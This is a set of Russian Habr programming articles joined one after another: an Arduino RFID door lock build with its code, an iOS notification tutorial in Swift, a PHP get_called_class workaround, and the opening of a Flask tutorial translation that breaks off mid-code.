go](https://go-talks.appspot.com/github.com/davecheney/presentations/writing-high-performance-go.slide) На этом все. До встречи на [курсе](https://otus.pw/MA66/)!
https://habr.com/ru/post/487934/
null
ru
null
# Дверной замок. RFID #### Вступление Доброго времени суток! Параллельно моей предыдущей [статье](http://habrahabr.ru/post/231461/) я работал еще над одним «проектом». Собственно у меня завалялось пару китайских RFID читалок. Вот таких: ##### Фото RC522 ![](https://habrastorage.org/files/7b7/496/dd6/7b7496dd6b604459901549d4b2903fe8.JPG) До этого, перебирая ящик с инструментами, я нашел новенький, но никому не нужный замок. ##### Видео работы устройства На видео есть еще одна Arduino — она нужна только для питания Arduino Pro Mini. В конечной схеме её конечно нет, просто блок питания на 5В я еще не приобрел. Под катом **очень много** фотографий! Читать дальше #### Как это работает? Вся система состоит из 5-и элементов: * Модуль RFID RC522 13,56 Mhz; * Микроконтроллер Arduino Pro Mini; * Транзистор; * Стабилизатор напряжения 3.3В; * Сервопривод TowerPro SG-90. Пока метка не поднесена к RC522, микроконтроллер слушает состояние ножки, на которой «висит» кнопка. Если на входе высокое напряжение — программа инвертирует положение системы: замок открыт — закрыть, и наоборот. В зависимости от открыт/закрыт загораются светодиоды: красный — закрыт, зеленый — открыт. Наконец то подносим метку к RC522. Arduino считывает 16 байт данных и сверяет с имеющимся двухмерным массивом пользователей. При совпадении система инвертируется, иначе — ничего не происходит. #### Для замочка нам понадобится: Микроконтроллер Arduino. ##### Фото Arduino Pro Mini ![](https://habrastorage.org/files/d10/d7f/35d/d10d7f35d51b4e3584faa8427a74614e.JPG) Модуль считывания RFID меток RC522. Фото модуля вначале статьи. Сервопривод TowerPro SG-90. Просто потому что был под рукой. На самом деле купить помощнее и надежнее не было бы лишним. ##### Фото TowerPro SG-90 ![](https://habrastorage.org/r/w780q1/files/8a3/8ab/1d4/8a38ab1d44c2479dad2f4788c86d1a25.jpg) Любой подходящий транзистор. У меня был 2N2222. ##### Фото 2N2222 ![](https://habrastorage.org/r/w780q1/files/a75/28d/8b1/a7528d8b1a3a4a0c921c6182e1ef2d2b.jpg) Любой стабилизатор напряжения 3.3В. В наличии был LF33CV. ##### Фото LF33CV ![](https://habrastorage.org/r/w1560/files/42c/91e/26d/42c91e26de7443649f4a9bf4ddb81657.png) Ну и конечно ключи. Пока был в Киеве, я приобрел вот такой силиконовый RFID-браслет: ##### Фото RFID-браслета ![](https://habrastorage.org/r/w780q1/files/a53/d73/f78/a53d73f78d7f4fa4b1736594106ea036.jpg) #### Сборка устройства ##### Замок Пошагово снять процесс переделывания замка не вышло. Но думаю будет и так все ясно. ![](https://habrastorage.org/files/e20/ba6/5f0/e20ba65f076a4894a5737f9aaa089da0.JPG) ![](https://habrastorage.org/files/c8d/4f0/022/c8d4f0022b95497589e72b270c2d0abc.JPG) Аккуратно вырезано отверстие для сервопривода и просверлены отверстия для крепления болтами. Рычаг привода сделан из двух деталей, которые шли в комплекте с ним, и обычной скрепки. На конце привинчен шурупчик. ![](https://habrastorage.org/files/bac/533/69c/bac53369c92a45f892bdae0f29024677.JPG) Запирающая часть замка была усилена у основания штырей, а так же утолщена, чтобы не болталась. ![](https://habrastorage.org/files/7fd/259/d11/7fd259d11c1b444280bd242921734b60.JPG) ![](https://habrastorage.org/files/1d5/e2a/f58/1d5e2af58fdf41469451423b30b7324d.JPG) #### Схема ![](https://habrastorage.org/r/w1560/files/805/8e7/a63/8058e7a630ba4b7787d4ff381dff59bc.png) ![](https://habrastorage.org/files/288/f36/44d/288f3644d9574ed79be04da1c1615853.JPG) На самой печатной плате присутствует разъем ИК-приемника, но реализовывать не стал. ##### Устройство ![](https://habrastorage.org/r/w780q1/files/6c2/a42/3a7/6c2a423a74a040fa9c2c8c185ebe9ca2.jpg) ![](https://habrastorage.org/r/w780q1/files/e20/b0a/a4e/e20b0aa4e75a4fd387d891fcfdf14770.jpg) В итоговом устройстве я совсем забыл про резистор для кнопки, но в схеме я его добавил. ![](https://habrastorage.org/r/w780q1/files/d0b/b1b/fd7/d0bb1bfd72a14707bd45b6d4acd10b72.jpg) Для питания Arduino Pro Mini был взят штекер от старого ПК. ![](https://habrastorage.org/r/w780q1/files/23c/b6c/34f/23cb6c34feb1419ba041bba5b27edce5.jpg) #### Программная часть **Замок** ``` /* ----------------------------------------------------------------------------- * Pin layout should be as follows: * Signal Pin Pin Pin * Arduino Uno Arduino Mega MFRC522 board * ------------------------------------------------------------ * Reset 9 5 RST * SPI SS 10 53 SDA * SPI MOSI 11 51 MOSI * SPI MISO 12 50 MISO * SPI SCK 13 52 SCK * * */ #include #include #include #define SS\_PIN 10 #define RST\_PIN 9 MFRC522 mfrc522(SS\_PIN, RST\_PIN); // Create MFRC522 instance. Servo myservo; boolean doorOpen; /\* Users \*/ int countUsers = 2; byte Users[2][16] = {{1,2,3,4, 5,6,7,8, 9,10,255,12, 13,14,15,16}, {0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,1}}; void setup() { Serial.begin(9600); pinMode(8, INPUT); //button open/close door pinMode(7, OUTPUT); //load transistor digitalWrite(7, LOW); pinMode(5, OUTPUT); //LED open/close door myservo.attach(6); SPI.begin(); mfrc522.PCD\_Init(); } void loop() { MFRC522::MIFARE\_Key key; for (byte i = 0; i < 6; i++) { key.keyByte[i] = 0xFF; } if ( ! mfrc522.PICC\_IsNewCardPresent()) { if (digitalRead(8) == HIGH) { digitalWrite(7, HIGH); delay(500); if (doorOpen) { myservo.write(80); doorOpen = false; Serial.println("CLOSED!"); digitalWrite(5, HIGH); } else { myservo.write(2); doorOpen = true; Serial.println("OPENED!"); digitalWrite(5, LOW); } delay(500); digitalWrite(7, LOW); } return; } if ( ! mfrc522.PICC\_ReadCardSerial()) { return; } Serial.print("!"); Serial.print("\r\n"); for (byte i = 0; i < mfrc522.uid.size; i++) { Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? " 0" : " "); Serial.print(mfrc522.uid.uidByte[i], HEX); } Serial.print("\r\n"); byte piccType = mfrc522.PICC\_GetType(mfrc522.uid.sak); //Serial.print(mfrc522.PICC\_GetTypeName(piccType)); //Serial.print("\r\n"); if ( piccType != MFRC522::PICC\_TYPE\_MIFARE\_MINI && piccType != MFRC522::PICC\_TYPE\_MIFARE\_1K && piccType != MFRC522::PICC\_TYPE\_MIFARE\_4K) { return; } byte sector = 1; byte valueBlockA = 4; byte valueBlockB = 5; byte valueBlockC = 6; byte trailerBlock = 7; MFRC522::StatusCode status; status = mfrc522.PCD\_Authenticate(MFRC522::PICC\_CMD\_MF\_AUTH\_KEY\_A, trailerBlock, &key, &(mfrc522.uid)); if (status != MFRC522::STATUS\_OK) { Serial.print("PCD\_Authenticate() failed: "); Serial.println(mfrc522.GetStatusCodeName(status)); return; } status = mfrc522.PCD\_Authenticate(MFRC522::PICC\_CMD\_MF\_AUTH\_KEY\_B, trailerBlock, &key, &(mfrc522.uid)); if (status != MFRC522::STATUS\_OK) { Serial.print("PCD\_Authenticate() failed: "); Serial.println(mfrc522.GetStatusCodeName(status)); return; } byte buffer[18]; byte size = sizeof(buffer); status = mfrc522.MIFARE\_Read(valueBlockA, buffer, &size); Serial.print(buffer[0]); Serial.print("\r\n"); Serial.print(buffer[1]); Serial.print("\r\n"); Serial.print(buffer[2]); Serial.print("\r\n"); Serial.print(buffer[3]); Serial.print("\r\n"); Serial.print(buffer[4]); Serial.print("\r\n"); Serial.print(buffer[5]); Serial.print("\r\n"); Serial.print(buffer[6]); Serial.print("\r\n"); Serial.print(buffer[7]); Serial.print("\r\n"); Serial.print(buffer[8]); Serial.print("\r\n"); Serial.print(buffer[9]); Serial.print("\r\n"); Serial.print(buffer[10]); Serial.print("\r\n"); Serial.print(buffer[11]); Serial.print("\r\n"); Serial.print(buffer[12]); Serial.print("\r\n"); Serial.print(buffer[13]); Serial.print("\r\n"); Serial.print(buffer[14]); Serial.print("\r\n"); Serial.print(buffer[15]); Serial.print("\r\n"); byte trueBytes = 0; boolean acceptUser = false; for (int i = 0; i < countUsers; i++) { if (!acceptUser) { for (int j = 0; j < 16; j++) { if (buffer[j] == Users[i][j]) { trueBytes++; } } } if (trueBytes == 16) { digitalWrite(7, HIGH); delay(500); if (doorOpen) { myservo.write(80); doorOpen = false; Serial.println("CLOSED!"); digitalWrite(5, HIGH); } else { myservo.write(2); doorOpen = true; Serial.println("OPENED!"); digitalWrite(5, LOW); } delay(500); digitalWrite(7, LOW); acceptUser = true; trueBytes = 0; } else trueBytes = 0; } mfrc522.PICC\_HaltA(); mfrc522.PCD\_StopCrypto1(); } ``` #### Вывод «boolean yes = false;» уже не будет, но все может быть :) Используемые библиотеки: [MFRC522.h](http://playground.arduino.cc/Learning/MFRC522) и [Servo.h](http://arduino.cc/en/reference/servo). Пример был взят из RFID библиотеки и дописан под себя. В примерах так же есть функция записи первого блока(по факту второго, первый блок read-only). Мне было достаточно 16 байт данных. Конечно лучше было использовать еще UID тогда было бы надежнее, но я пока не собирался его куда-нибудь ставить.
https://habr.com/ru/post/233139/
null
ru
null
# Изменяем содержимое уведомления приложения iOS Привет! В этой статье я хочу поделиться своим опытом использования одного не очевидного (по крайней мере для меня) варианта изменения текста уведомления приложения, отправкой дополнительных данных через UNUserNotificationCenter. Я надеюсь эта статья будет полезна для новичков в программировании под iOS на Swift. Предполагается, что у вас есть хотя бы некоторый опыт программирования под iOS на Swift. Я использовал Swift 5 и Xcode 10.2.1. И так, приступим. ### Задача У меня есть приложение, которое показывает пользователю уведомления. Уведомление состоит из основного текста и второстепенного текста. Итак, идея заключается в том, чтобы сначала показать пользователю только основной текст, и, если пользователь хочет знать второстепенный текст, он должен нажать кнопку “показать” в уведомлении. Я использую следующий метод, чтобы показать уведомление (все пояснения ниже): 1. Прежде всего, мы должны определить экземпляр UNUserNotificationCenter: ``` class NotificationService: NSObject, UNUserNotificationCenterDelegate { let notificationCenter = UNUserNotificationCenter.current() } ``` 2. Далее мы объявляем метод, который мы будем использовать для отправки уведомлений: **Мой метод запроса на уведомление** ``` // 1 // Мы определяем метод, который принимает на вход тип Tuple с двумя строковыми параметрами. // showBody - это параметр с типом Bool, который позволяет нам показывать или скрывать второстепенный текст в нашем уведомлении. // withAction - также является параметром типа Bool, и он использует для скрытия кнопки действия, если кнопка "показать" была нажата. // atDate date - это параметр типа Date, и мы используем его для того, чтобы запланировать триггер для нашего уведомления. func showNotification(with item: (String, String), showBody: Bool, withAction: Bool, atDate date: Date) { // 2 // Определяем наш контент let content = UNMutableNotificationContent() // 3 // Присваиваем идентификатор нашему действию let userActionsIdentifier = “showMe” // 4 // Присваиваем нашему контенту основной текст . content.title = item.0 // 5 // Для первого вызова метода, я устанавливаю этот параметр в false, для того, чтобы пользователь не видел второстепенный текст уведомления. if showBody { content.body = item.1 } // 6 // Это самая важная часть - я присваиваю параметру notificationCenter userInfo значения нашего основного и второстепенного текстов. content.userInfo = [item.0: item.1] content.sound = UNNotificationSound.default // 7 // При первом вызове функции я устанавливаю параметру withAction значение true, чтобы пользователь мог нажать кнопку "Show me". if withAction { content.categoryIdentifier = userActionsIdentifier } // 8 // Устанавливаем уведомлению уникальный идентификатор, чтобы оно не пересекалось с другими в очереди. let notificationID = item.0 // 9 // Устанавливаем параметр даты для последующего использования. // В нашем случае я использую только часы, минуты и секунды от текущей даты. var dc = DateComponents() dc.hour = Calendar.current.component(.hour, from: date) dc.minute = Calendar.current.component(.minute, from: date) dc.second = Calendar.current.component(.second, from: date) // 10 // Определяем наш триггер. Вы можете использовать иные триггеры, но в этом случае я использовал UNCalendarNotificationTrigger. let trigger = UNCalendarNotificationTrigger(dateMatching: dc, repeats: false) // 11 // Определяем наш запрос на уведомление с объявлением идентификатора, запроса и триггера. let request = UNNotificationRequest(identifier: notificationID, content: content, trigger: trigger) // 12 // Добавляем наш запрос в notificationCenter, и так же ловим ошибки. notificationCenter.add(request) { (error) in error == nil ? print(“notifacation request was added at “, trigger.nextTriggerDate()!) : print(error.debugDescription) } // 13 // Определяем наше действие пользователя. Оно позволит нашему пользователю нажать на кнопку уведомления и увидеть второстепенный текст. Определяем идентификатор действия и его текст. let action = UNNotificationAction(identifier: “showMe”, title: “Show me”, options: []) // 14 // Определяем категорию действия. let category = UNNotificationCategory(identifier:userActionsIdentifier, actions: [action], intentIdentifiers: [], options: []) // 15 // Наконец добавляем нашу категорию в notificationCenter. notificationCenter.setNotificationCategories([category]) } ``` Когда мы вызываем этот метод, мы увидим уведомление в определенное нами время. Если пользователь потянет вниз уведомление, появится кнопка ”Show me". Затем пользователь должен нажать эту кнопку, чтобы увидеть второстепенный текст. Чтобы сделать это, мы должны использовать метод делегата UNUserNotificationCenterDelegate: ``` func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { … } ``` Итак, код, который я использую в методе этого делегата следующим образом: **Мой метод делегата** ``` func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { print(“didReceive response”) // 1 // Используем оператор switch для поиска идентификатора действия switch response.actionIdentifier { case “showMe”: print(“showMe action”) // 2 // Здесь мы забираем данные из userInfo, которые мы передали в методе showNotification на шаге 6, и разворачиваем его в тип String. let mainText = response.notification.request.content.userInfo.keys.first! as! String // 3 // Здесь мы снова забираем данные из userInfo, которые мы передали в методе showNotification на шаге 6, и снова разворачиваем его в тип String. let subText = response.notification.request.content.userInfo.values.first! as! String // 4 // Здесь мы снова вызываем наш метод showNotificationlet, но с другими параметрами: // showBody теперь устанавливаем в true, а withAction в false (просто потому что больше нет необходимости в действии). self.showNotification(with: (mainText, subText), showBody: true, withAction: false, atDate: Date(timeInterval: 3, since: Date())) default: print(“defaul action”) } completionHandler() } ``` И вот как это выглядит: ![](https://habrastorage.org/webt/xh/l3/rz/xhl3rzw8nqf3utfsmihmv2s1-gm.gif) Внутри проекта (который вы можете скачать по ссылке ниже) есть еще немного кода, но сама суть идеи описана в этой статье. Спасибо! [Ссылка на проект](https://github.com/kharitonovAL/changeLocalNotification)
https://habr.com/ru/post/451454/
null
ru
null
# Синглтоны версии 5.3 в 5.2 #### Задача В общем, сложилась такая ситуация, что на предоставленном для проекта хостинге, версия PHP была 5.2, а сам проект написан под 5.3. Наверняка все, кто работает с PHP, знают, что в версии 5.3 появилась возможность доступа к имени класса, полученного с помощью позднего статического связывания. К примеру: ``` php class Singleton { static $instances = Array(); private function __construct() {} private function __clone() {} private function __wakeup() {} static function model(){ $class = get_called_class(); if (!isset(self::$instances[$class])) { self::$instances[$class] = new $class(); } return self::$instances[$class]; } } </code ``` И теперь любой наследник этого класса будет [Singleton](http://en.wikipedia.org/wiki/Singleton_pattern)`ом. ``` class Test extends Singleton { public function say(){ return 'Hi Habr!'; } } echo Test::model()->say(); ``` Такой приём возможен из-за появления новой функции [get\_called\_class](http://php.net/manual/ru/function.get-called-class.php) в версии 5.3. Понятно, что в ранних версиях такое работать не будет. Но что делать, если код уже написан, а последняя версия PHP недоступна? #### Решение Решением является смена хостинга или установка последнее версии PHP :). Но к примеру у меня сложилась ситуация, что сейчас такое невозможно, а проект должен работать, так что пришлось выкручиваться. ``` php if(!function_exists('get_called_class')) { function get_called_class() { $obj = false; $backtrace = debug_backtrace(); foreach($backtrace as $row){ if($row['function'] == 'call_user_func'){ $obj = explode('::', $backtrace[2]['args'][0]); $obj = $obj[0]; break; } } if(!$obj){ $backtrace = $backtrace[1]; $file = file_get_contents($backtrace["file"]); $file = explode("\n", $file); for($line = $backtrace["line"] - 1; $line 0; $line--) { preg_match("/(?\w+)::(.\*)/", trim($file[$line]), $matches); if (isset($matches["class"])){ return $matches["class"]; } } throw new Exception("Could not find"); } return $obj; } } class Singleton { static $instances = Array(); private function \_\_construct() {} private function \_\_clone() {} private function \_\_wakeup() {} static function model(){ $class = get\_called\_class(); if (!isset(self::$instances[$class])) { self::$instances[$class] = new $class(); } return self::$instances[$class]; } } ``` Как временное решение проблемы вполне подойдет. Ну и для решения проблем, связанных с возможностью ссылаться на класс используя переменную: ``` $class_name::model(); ``` Заменяется на: ``` call_user_func($class_name. '::model'); ``` Вот собственно и все. Спасибо за внимание.
https://habr.com/ru/post/134221/
null
ru
null
# Мега-Учебник Flask Глава 1: Привет, мир! ( издание 2018 ) [blog.miguelgrinberg.com](http://blog.miguelgrinberg.com "blog.miguelgrinberg.com") ### *Miguel Grinberg* --- [>>> следующая глава >>>](https://habrahabr.ru/post/346340/) Эта статья является переводом нового издания учебника Мигеля Гринберга. [Прежний перевод](https://habrahabr.ru/post/193242/ "Прежний перевод") давно утратил свою актуальность. Автор планирует завершить его выпуск в мае 2018. Я, со своей стороны, постараюсь не отставать с переводом. Для справки ниже приведен список статей этой серии. **Оглавление*** [**Глава 1: Привет, мир! (Эта статья)**](https://habrahabr.ru/346306/) * [**Глава 2: Шаблоны**](https://habrahabr.ru/post/346340/) * [**Глава 3: Веб-формы**](https://habrahabr.ru/post/346342/) * [**Глава 4: База данных**](https://habrahabr.ru/post/346344/) * [**Глава 5: Пользовательские логины**](https://habrahabr.ru/post/346346/) * [**Глава 6: Страница профиля и аватары**](https://habrahabr.ru/post/346348/) * [**Глава 7: Обработка ошибок**](https://habrahabr.ru/post/346880/) * [**Глава 8: Подписчики, контакты и друзья**](https://habrahabr.ru/post/347450/) * [**Глава 9: Разбивка на страницы**](https://habrahabr.ru/post/347926/) * [**Глава 10: Поддержка электронной почты**](https://habrahabr.ru/post/348566/) * [**Глава 11: Реконструкция**](https://habrahabr.ru/post/349060/) * [**Глава 12: Дата и время**](https://habrahabr.ru/post/349604/) * [**Глава 13: I18n и L10n**](https://habrahabr.ru/post/350148/) * [**Глава 14: Ajax**](https://habrahabr.ru/post/350626/) * [**Глава 15: Улучшение структуры приложения**](https://habrahabr.ru/post/351218/) * [**Глава 16: Полнотекстовый поиск**](https://habrahabr.ru/post/351900/) * [**Глава 17: Развертывание в Linux**](https://habrahabr.ru/post/352266/) * [**Глава 18: Развертывание на Heroku**](https://habrahabr.ru/post/352830/) * [**Глава 19: Развертывание на Docker контейнерах**](https://habrahabr.ru/post/353234/) * [**Глава 20: Магия JavaScript**](https://habrahabr.ru/post/353804/) * [**Глава 21: Уведомления пользователей**](https://habrahabr.ru/post/354322/) * [**Глава 22: Фоновые задачи**](https://habrahabr.ru/post/354752/) * [**Глава 23: Интерфейсы прикладного программирования (API)**](https://habrahabr.ru/post/358152/) Новый учебник написан в 2017 году, и, наконец, он выглядит так, как если бы он был настроен на версию Python 3. Решены проблемы с совместимостью, изменен фокус в сторону Python 3, а не Python 2 как было в 2012 году в прежней версии учебника. К сожалению, Python 2 или 3 — это не единственное, что изменилось. Есть также несколько технологий, которые имели смысл в 2012 году, но теперь устарели. К ним относятся: * Механизм аутентификации **OpenID**, который больше не поддерживается многими провайдерами. * Пакет **sqlalchemy-migrate** для миграции баз данных, который, похоже, так же потерял поддержку сообщества. В эти дни **Alembic** — намного более лучший выбор для миграции чем *SQLAlchemy*. * Интерфейс командной строки *Flask* (Flask Shell), который в то время не существовал, а теперь является незаменимым инструментом разработчика. * В то время, когда Мигель начал работать над учебником, *Flask blueprints* были слишком новыми, поэтому он решил не использовать эту функцию. В 2017 году *blueprints* являются обязательными для применения в Flask. * *Bootstrap 2* для стилизации и форматирования веб-страниц, теперь имеет две основные версии. Новые версии Bootstrap не имеют обратной совместимости с версией 2. * Изменения в сервисе **Heroku**, инструкции по развертыванию которые представлены учебнике устарели. Многие вещи, которые изменились за эти пять лет, в основном означают, что нужно пересмотреть все главы, причем большинство из них претерпели довольно важные изменения. Сам Мигель считает, что вырос профессионально за эти пять лет, и думает, что сможет принести гораздо большую ценность этому учебнику с этим новым опытом. После выхода первого учебника он провел более дюжины конференций и выпустил кучу учебных пособий, написал очень успешную книгу разработки Flask для крупного издательства, создал несколько популярных проектов с открытым исходным кодом . Кроме того, у Мигеля есть еще пять лет опыта работы в качестве технического блоггера, так как продолжал создавать контент для своего блога на протяжении всех этих лет. Весь этот опыт будет отражен в обновлениях, которые он приводит в учебнике. Более подробно читайте в [блоге Мигеля](https://www.kickstarter.com/projects/1124925856/the-new-and-improved-flask-mega-tutorial) [**VIDEO**](https://player.vimeo.com/video/248628320 "video") Добро пожаловать! Вы собираетесь отправиться в путешествие, чтобы узнать, как создавать веб-приложения с помощью [Python](https://python.org/ "Python") и микрофреймворка [Flask](http://flask.pocoo.org/ "Flask"). Видео выше даст вам обзор содержимого этого руководства. В этой первой главе вы узнаете, как настроить проект Flask. В конце этой главы у вас будет простое веб-приложение Flask, работающее на вашем компьютере! *Примечание 1: Если вы ищете старые версии данного курса, это [здесь](https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world-legacy "здесь").* *Примечание 2: Если вдруг Вы хотели бы выступить в поддержку моей(Мигеля) работы в этом блоге, я (Мигель Гринберг) предлагаю полную версию данного руководства упакованную электронную книгу или видео. Для получения более подробной информации посетите [learn.miguelgrinberg.com](http://learn.miguelgrinberg.com "learn.miguelgrinberg.com").* Все примеры кода представленные в этом учебном курсе, размещены на GitHub. Загрузка кода из GitHub поможет вам сэкономить время, но я настоятельно рекомендую набирать код самостоятельно, по крайней мере, первые несколько глав. После того, как вы станете ближе знакомы с Flask можно получить доступ к коду прямо из GitHub, только в том случае, если ввод становится слишком утомительным. В начале каждой главы, я дам вам три GitHub ссылки, которые могут быть полезны при изучении главы. **Browse** откроет GitHub репозиторий для микроблога в том месте, где собраны изменения к главе, которую Вы читаете, за исключением любых изменений, внесенных в будущих главах. **Zip** — это ссылка для загрузки zip-архива, в том числе приложения и изменений в главе. **Diff** — откроет графическое представление всех изменений, внесенных в главу, которую Вы собираетесь читать. *На GitHub ссылки в этой главе: [Browse](https://github.com/miguelgrinberg/microblog/tree/v0.1 "Browse"), [Zip](https://github.com/miguelgrinberg/microblog/archive/v0.1.zip "Zip"), [Diff](https://github.com/miguelgrinberg/microblog/compare/v0.0...v0.1 "Diff").* Установка Python ---------------- Если на вашем компьютере не установлен **Python**, установите его. Если ваша операционная система не имеет предустановленный пакет Python, вы можете скачать программу установки с [официального сайта Python](http://python.org/download/). Если вы используете Microsoft Windows вместе с WSL или Cygwin, обратите внимание, что вы не будете использовать родную версию Python для Windows, а версию, совместимую с Unix, которую вам нужно получить от Ubuntu (если вы используете WSL) или от Cygwin. Чтобы убедиться, что ваша установка Python является функциональной, вы можете открыть окно терминала и ввести python3, или если это не работает, просто python. Вот что вам следует ожидать: ``` $ python3 Python 3.5.2 (default, Nov 17 2016, 17:05:23) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> _ ``` или так в cmd (окно командной строки Microsoft Windows) : ``` c:\cp>c:\python33\python Python 3.3.5 (v3.3.5:62cf4e77f785, Mar 9 2014, 10:37:12) [MSC v.1600 32 bit (In tel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> ``` Интерпретатор Python теперь находится в ожидании пользовательского ввода. В будущих главах вы узнаете, для чего это интерактивное приглашение полезно. Но пока Вы подтвердили, что Python установлен в вашей системе. Чтобы выйти из интерактивного приглашения, вы можете ввести `exit()` и нажать Enter. В версиях Python для Linux и Mac OS X вы также можете выйти из интерпретатора, нажав `Ctrl-D`. В Windows, комбинация клавиш для выхода — `Ctrl-Z`, затем Enter. Установка Flask --------------- Следующий шаг — установить Flask, но прежде чем я расскажу об этом, я хочу рассказать вам о лучших методах, связанных с установкой пакетов Python. В Python пакеты, такие как Flask, доступны в общем репозитории, откуда их можно загрузить и установить. Официальный репозиторий пакетов Python называется [PyPI](https://pypi.python.org/pypi), что означает Python Package Index (также известный, как «cheese shop»). Установка пакета из PyPI очень проста, потому что у Python есть инструмент под названием pip, который выполняет эту работу (в Python 2.7 `pip` не входит в комплект с Python и его нужно устанавливать отдельно). Чтобы установить пакет на свой компьютер, вы используете pip следующим образом: ``` $ pip install ``` Интересно, что этот метод установки пакетов не будет работать в большинстве случаев. Если ваш интерпретатор Python был установлен глобально для всех пользователей вашего компьютера, велика вероятность того, что ваша обычная учетная запись пользователя не получит разрешения на внесение в нее изменений, поэтому единственный способ выполнить вышеприведенную команду — запустить ее от имени администратора. Но даже без этого осложнения поймите, что происходит, когда вы устанавливаете пакет, как указанным выше способом. Инструмент `pip` загрузит пакет из PyPI, а затем добавит его в вашу папку Python. С этого момента каждый скрипт Python, который у вас есть в вашей системе, будет иметь доступ к этому пакету. Представьте ситуацию, когда вы закончили веб-приложение с использованием версии 0.11 Flask, которая была самой последней версией Flask при запуске, но теперь она была заменена версией 0.12. Теперь вы хотите запустить второе приложение, для которого вы хотели бы использовать версию 0.12, но если вы замените установленную версию 0.11, вы рискуете сломать свое старое приложение. Вы видите проблему? Было бы идеально, если бы можно было установить Flask 0.11, который будет использоваться вашим старым приложением, а также установить Flask 0.12 для Вашего нового. Чтобы решить проблему поддержки различных версий пакетов для разных приложений, Python использует концепцию виртуальных сред. Виртуальная среда — это полная копия интерпретатора Python. Когда вы устанавливаете пакеты в виртуальной среде, общесистемный интерпретатор Python не затрагивается, только копия. Таким образом, решение иметь полную свободу для установки любых версий ваших пакетов для каждого приложения — использовать другую виртуальную среду для каждого приложения. Виртуальные среды имеют дополнительное преимущество, они принадлежат пользователю, который их создает, поэтому им не требуется учетная запись администратора. Начнем с создания каталога, в котором будет жить проект. Я собираюсь назвать этот каталог **microblog**, так как это имя приложения: ``` $ mkdir microblog $ cd microblog ``` Если вы используете версию Python 3, в нее включена поддержка виртуальной среды, поэтому все, что вам нужно сделать для ее создания, это: ``` $ python3 -m venv venv ``` С помощью этой команды Python запустит пакет `venv`, который создает виртуальную среду с именем `venv`. Первым `venv` в команде является имя пакета виртуальной среды Python, а второе — имя виртуальной среды, которое я буду использовать для этой конкретной среды. Если вы считаете, что это сбивает с толку, вы можете заменить второй `venv` другим именем, которое вы хотите назначить своей виртуальной среде. В общем, я создаю свои виртуальные среды с именем `venv` в каталоге проекта, поэтому всякий раз, когда я подключаюсь к проекту, я нахожу его соответствующую виртуальную среду. Обратите внимание, что в некоторых операционных системах вам может понадобиться использовать `python` вместо `python3` в приведенной выше команде. Некоторые установки используют `python` для релизов Python 2.x и python3 для релизов 3.x, в то время как другие отображают `python` в выпусках 3.x. По завершении команды вы будете иметь каталог с именем `venv`, где хранятся файлы виртуальной среды. Если вы используете любую версию Python старше 3.4 (включая выпуск 2.7), виртуальные среды не поддерживаются изначально. Для этих версий Python вам необходимо загрузить и установить сторонний инструмент [virtualenv](https://virtualenv.pypa.io/), прежде чем создавать виртуальные среды. После того, как `virtualenv` установлен, вы можете создать виртуальную среду со следующей командой: ``` $ virtualenv venv ``` или так ``` $ python virtualenv.py venv ``` ***Прим.переводчика:** У меня установлено несколько версий Python. Я использую Python3.3. В моем случае пришлось вводить строку так:* ``` C:\microblog>c:\Python33\python.exe c:\Python33\Lib\site-packages\virtualenv.py venv ``` *В полученном сообщении видно, что установлен `pip` и ряд пакетов:* ``` Using base prefix 'c:\\Python33' New python executable in C:\microblog\venv\Scripts\python.exe Installing setuptools, pip, wheel...done. ``` Независимо от метода, который вы использовали для его создания, вы создали свою виртуальную среду. Теперь вам нужно сообщить системе, что вы хотите ее использовать, активируя ее. Чтобы активировать новую виртуальную среду, используете следующую команду: ``` $ source venv/bin/activate (venv) $ _ ``` Если вы используете cmd (окно командной строки Microsoft Windows), команда активации немного отличается: ``` $ venv\Scripts\activate (venv) $ _ ``` Когда вы активируете виртуальную среду, конфигурация сеанса терминала изменяется так, что интерпретатор Python, хранящийся внутри нее, станет тем, который вызывается при вводе `python`. Кроме того, в запросе терминала включено имя активированной виртуальной среды. Изменения, внесенные в сеанс терминала, являются временными и частными для этого сеанса, поэтому они не будут сохраняться при закрытии окна терминала. Если вы одновременно работаете с несколькими терминальными окнами, отлично видно, чтобы на каждом из них были задействованы разные виртуальные среды. Теперь, когда вы создали и активировали виртуальную среду, вы можете, наконец, установить в нее Flask: ``` (venv) C:\microblog>pip install flask Collecting flask Using cached Flask-0.12.2-py2.py3-none-any.whl Requirement already satisfied: click>=2.0 in c:\python33\lib\site-packages (from flask) Requirement already satisfied: Werkzeug>=0.7 in c:\python33\lib\site-packages (from flask) Requirement already satisfied: Jinja2>=2.4 in c:\python33\lib\site-packages (from flask) Requirement already satisfied: itsdangerous>=0.21 in c:\python33\lib\site-packages (from flask) Requirement already satisfied: markupsafe in c:\python33\lib\site-packages (from Jinja2>=2.4->flask) Installing collected packages: flask Successfully installed flask-0.12.2 (venv) C:\microblog> ``` Если вы хотите проверить, что в вашей виртуальной среде установлен Flask, вы можете запустить интерпретатор Python и импортировать Flask в него: ``` (venv) C:\microblog>python Python 3.3.5 (v3.3.5:62cf4e77f785, Mar 9 2014, 10:37:12) [MSC v.1600 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import flask >>> ``` Если этот импорт не дает вам никаких ошибок, вы можете поздравить себя, так как `Flask` установлен и готов к использованию. Flask приложение «Привет, мир» ------------------------------ Если вы зайдете на [сайт Flask](http://flask.pocoo.org/), вас приветствует очень простое примерное приложение с пятью строками кода. Вместо того, чтобы повторять этот тривиальный пример, я покажу вам немного более сложный, который даст вам хорошую базовую структуру для написания больших приложений. Приложение будет существовать в виде пакета. ***Прим.переводчика:** Пакет — это коллекция модулей.* В Python подкаталог, содержащий файл `__init__.py`, считается пакетом и может быть импортирован. Когда вы импортируете пакет, `__init__.py` выполняет и определяет, какие символы предоставляют пакет для внешнего мира. Давайте создадим пакет под названием `app`, в котором будет размещено приложение. Убедитесь, что вы находитесь в каталоге `microblog`, а затем выполните следующую команду: ``` (venv) $ mkdir app ``` `__init__.py` для пакета приложения будет содержать следующий код: ``` from flask import Flask app = Flask(__name__) from app import routes 